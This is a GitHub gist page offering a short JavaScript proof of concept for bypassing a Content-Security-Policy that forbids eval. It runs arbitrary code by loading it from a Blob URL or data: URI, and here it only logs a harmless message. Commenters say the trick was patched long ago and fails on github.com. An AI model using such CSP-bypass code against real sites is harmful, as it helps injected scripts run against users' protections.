Last active
March 22, 2024 14:11
-
-
Save dun4n/8568654 to your computer and use it in GitHub Desktop.
Bypass the CSP "unsafe-eval"
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<html> | |
<head> | |
<meta content="script-src 'self';" http-equiv="Content-Security-Policy"> | |
<script type="text/javascript" src="csp.js"></script> | |
</head> | |
</html> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function cspEval(js) { | |
var script = document.createElement("script") | |
// No Blob ? No CSP ! | |
if(Blob) { | |
var blob = new Blob([js], {"type": "application/javascript"}) | |
script.src = URL.createObjectURL(blob) | |
} else { | |
var dataUri = "data:application/javascript," + js | |
script.src = dataUri | |
} | |
var callback = function() { document.body.appendChild(script) } | |
document.readyState === "complete" ? callback() : window.onload = callback | |
} | |
cspEval("console.log('Bypass CSP unsafe-eval')") |
patched for several years... look at the date of the last revision 🤣
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
doesnt even work in github.com lol